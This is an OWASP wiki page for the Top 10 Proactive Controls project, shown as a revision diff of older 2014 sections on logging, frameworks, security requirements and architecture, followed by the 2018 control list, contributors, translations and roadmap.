Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:
 
−
 
−
* Application monitoring
 
−
* Business analytics and insight
 
−
* Activity auditing and compliance monitoring
 
−
* System intrusion detection
 
−
* Forensics
 
−
 
−
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.
 
−
 
−
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application.
 
−
 
−
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions.
 
−
 
−
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.
 
−
 
−
'''Key References'''
 
−
* How to properly implement logging in an application: [[Logging Cheat Sheet]]
 
−
 
−
'''Key Tool'''
 
−
* [[OWASP AppSensor Project]]
 
−
 
−
 
−
== 8: Leverage Security Features of Frameworks and Security Libraries ==
 
−
 
−
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.
 
−
 
−
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:
 
−
 
−
* [http://static.springsource.org/spring-security/site/index.html Spring Security]
 
−
* [http://shiro.apache.org/ Apache Shiro]
 
−
 
−
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities <i>using components with known vulnerabilities</i> Top Ten 2013 risk].
 
−
 
−
'''Key References'''
 
−
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]
 
−
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]
 
−
 
−
 
−
== 9: Include Security-Specific Requirements ==
 
−
 
−
There are three basic categories of security requirements that can be defined early-on in a software development project:
 
−
 
−
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.
 
−
 
−
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from "abuse cases".  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.
 
−
 
−
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.
 
−
 
−
'''Key References'''
 
−
* [[OWASP Application Security Verification Standard Project]]
 
−
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]
 
−
 
−
 
−
== 10: Design and Architect Security In ==
 
−
 
−
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:
 
−
 
−
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.
 
−
 
−
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.
 
−
 
−
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?
 
−
 
−
'''Key References'''
 
−
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]
 
−
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]
 
−
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]
 
−
* [[Attack Surface Analysis Cheat Sheet]]
 
−
* [[Threat Modeling Cheat Sheet]]
 
−
 
−
= Formal Numbering =
 
−
 
−
* OWASP-C1: Parameterize Queries
 
−
* OWASP-C2: Encode Data
 
−
* OWASP-C3: Validate All Inputs
 
−
* OWASP-C4: Implement Appropriate Access Controls
 
−
* OWASP-C5: Establish Identity and Authentication Controls
 
−
* OWASP-C6: Protect Data and Privacy
 
−
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection
 
−
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries
 
−
* OWASP-C9: Include Security-Specific Requirements
 
−
* OWASP-C10: Design and Architect Security In
 
−
 
−
= Project Roadmap =
 
−
 
−
Welcome to the OWASP Top 10 Proactive Controls Project!
 
−
 
−
== Roadmap ==
 
−
 
−
End of April : Complete community review process<br/>
 
−
End of May : Release final document in well designed PDF form
 
−
 
−
== Status ==
 
  
−
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.<br/>
 
−
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.
 
  
−
__NOTOC__ <headertabs />
+
__NOTOC__ <headertabs></headertabs>
  
−
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]
+
[[Category:OWASP Project|OWASP Proactive Controls]]  
 +
[[Category:OWASP_Builders]]  
 +
[[Category:OWASP_Defenders]]  
 +
[[Category:OWASP_Document]]

Latest revision as of 07:32, 30 November 2019

Proactive-header.jpg

OWASP Top 10 Proactive Controls 2018

Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be security flaws inherent in the requirements and designs. When it comes to software, developers are often set up to lose the security game.

The OWASP Top Ten Proactive Controls 2018 is a list of security techniques that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important. This document was written by developers for developers to assist those new to secure development.

  1. Define Security Requirements
  2. Leverage Security Frameworks and Libraries
  3. Secure Database Access
  4. Encode and Escape Data
  5. Validate All Inputs
  6. Implement Digital Identity
  7. Enforce Access Controls
  8. Protect Data Everywhere
  9. Implement Security Logging and Monitoring
  10. Handle All Errors and Exceptions


For more information, see the complete document in the tab to the right.

Licensing

The OWASP Proactive Controls document is free to use under the Creative Commons ShareAlike 3 License.

What is This?

The OWASP Top Ten Proactive Controls describes the most important control and control categories that every architect and developer should absolutely, 100% include in every project.

Presentation

Use the extensive project presentation that expands on the information in the document.

Project Leaders

Key Contributors

  • Taras Ivashchenko @ (Russian Translation)
  • Jay Zudilin (Russian Translation)
  • Danny Harris @
  • Hiroaki Kuramochi (Japanese Translation)
  • Hiroshi Fujimoto (Japanese Translation)
  • Hidenori Nagai (Japanese Translation)
  • Riotaro OKADA @ (Japanese Translation)
  • Robert Dracea (Japanese Translation)
  • Koichiro Watanabe (Japanese Translation)
  • Tony Hsu Hsiang Chih (Chinese Translation)
  • Abdessamad Temmar
  • Eyal Estrin @ (Hebrew Translation)
  • Cyrille Grandval @ (French Translation)
  • Frédéric Baillon @ (French Translation)
  • Danny Harris @
  • Stephen de Vries
  • Andrew Van Der Stock
  • Gaz Heyes
  • Colin Watson
  • Jason Coleman
  • Cassio Goldschmidt

Related Projects

Quick Access

  • Top 10 Proactive Controls 2018 PDF: EN | PL | Ru

Translations

  • Top 10 Proactive Controls 2018 Chinese PDF Download
  • Top 10 Proactive Controls 2018 Russian PDF Download
  • Top 10 Proactive Controls 2018 Polish PDF Download
  • Top 10 Proactive Controls 2016 Traditional Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Simplified Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Japanese Translation PDF Download
  • Top 10 Proactive Controls 2016 Hebrew Translation PDF Download

Latest News and Events

Please see the News tab for more.

Archive

Mailing List

Keep up-to-date, participate or ask questions via the Project Email List.

Classifications

Owasp-incubator-trans-85.png Owasp-builders-small.png
Owasp-defenders-small.png
Cc-button-y-sa-small.png
Project Type Files DOC.jpg

OWASP Proactive Controls 2018 is currently available in the following formats.

Wiki version- is currently work in progress .

  • Michael Leung - Management consultant with Canadian Cybersecurity Inc.
"Giving developers guidance that was practical was challenging. The OWASP Top 10 Proactive Controls helped a lot."


Disclaimer

Organizations listed are not accredited by OWASP. Neither their products or services have been endorsed by OWASP.

How to get listed

Please let us know how your organization is using OWASP Top 10 Proactive Controls. Include your name, organization's name, and brief description of how you use the project. The project lead can be reached here.

2018 Numbering

  • OWASP-2018-C1: Define Security Requirements
  • OWASP-2018-C2: Leverage Security Frameworks and Libraries
  • OWASP-2018-C3: Secure Database Access
  • OWASP-2018-C4: Encode and Escape Data
  • OWASP-2018-C5: Validate All Inputs
  • OWASP-2018-C6: Implement Digital Identity
  • OWASP-2018-C7: Enforce Access Controls
  • OWASP-2018-C8: Protect Data Everywhere
  • OWASP-2018-C9: Implement Security Logging and Monitoring
  • OWASP-2018-C10: Handle All Errors and Exceptions

2016 Numbering

  • OWASP-2016-C1: Verify for Security Early and Often
  • OWASP-2016-C2: Parameterize Queries
  • OWASP-2016-C3: Encode Data
  • OWASP-2016-C4: Validate All Inputs
  • OWASP-2016-C5: Implement Identity and Authentication Controls
  • OWASP-2016-C6: Implement Appropriate Access Controls
  • OWASP-2016-C7: Protect Data
  • OWASP-2016-C8: Implement Logging and Intrusion Detection
  • OWASP-2016-C9: Leverage Security Frameworks and Libraries
  • OWASP-2016-C10: Error and Exception Handling

2014 Numbering

  • OWASP-2014-C1: Parameterize Queries
  • OWASP-2014-C2: Encode Data
  • OWASP-2014-C3: Validate All Inputs
  • OWASP-2014-C4: Implement Appropriate Access Controls
  • OWASP-2014-C5: Establish Identity and Authentication Controls
  • OWASP-2014-C6: Protect Data and Privacy
  • OWASP-2014-C7: Implement Logging, Error Handling and Intrusion Detection
  • OWASP-2014-C8: Leverage Security Features of Frameworks and Security Libraries
  • OWASP-2014-C9: Include Security-Specific Requirements
  • OWASP-2014-C10: Design and Architect Security In

2018 Version

  • Top 10 Proactive Controls 2018 Russian Translation: PDF Download
  • Top 10 Proactive Controls 2018 Polish Translation: PDF Download

2016 Version

  • Top 10 Proactive Controls 2016 Traditional Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Simplified Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Japanese Translation PDF Download
  • Top 10 Proactive Controls 2016 Hebrew Translation PDF Download

2014 Version

  • Hebrew and French translations of the Top 10 Proactive Controls 2014 can be found on the 2014 archive tab.

Welcome to the OWASP Top 10 Proactive Controls Project!

2018 Roadmap

  • Create new PowerPoint and other artifacts for 2018 version (done)
  • Create wiki for 2018 version (work in progress)

2016 Roadmap

  • Create new PowerPoint and other artifacts for 2016 version (done)
  • Proactive Control Mapping to Cheatsheet (done)

Status

  • February 21, 2014 Moved 2014 info to archive tab
  • January 15, 2016: 2016 Proactive Controls Released!
  • August 6, 2015: Kickoff for 2.0 effort, in progress
  • March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.
  • February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.


Retrieved from "https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&oldid=256202"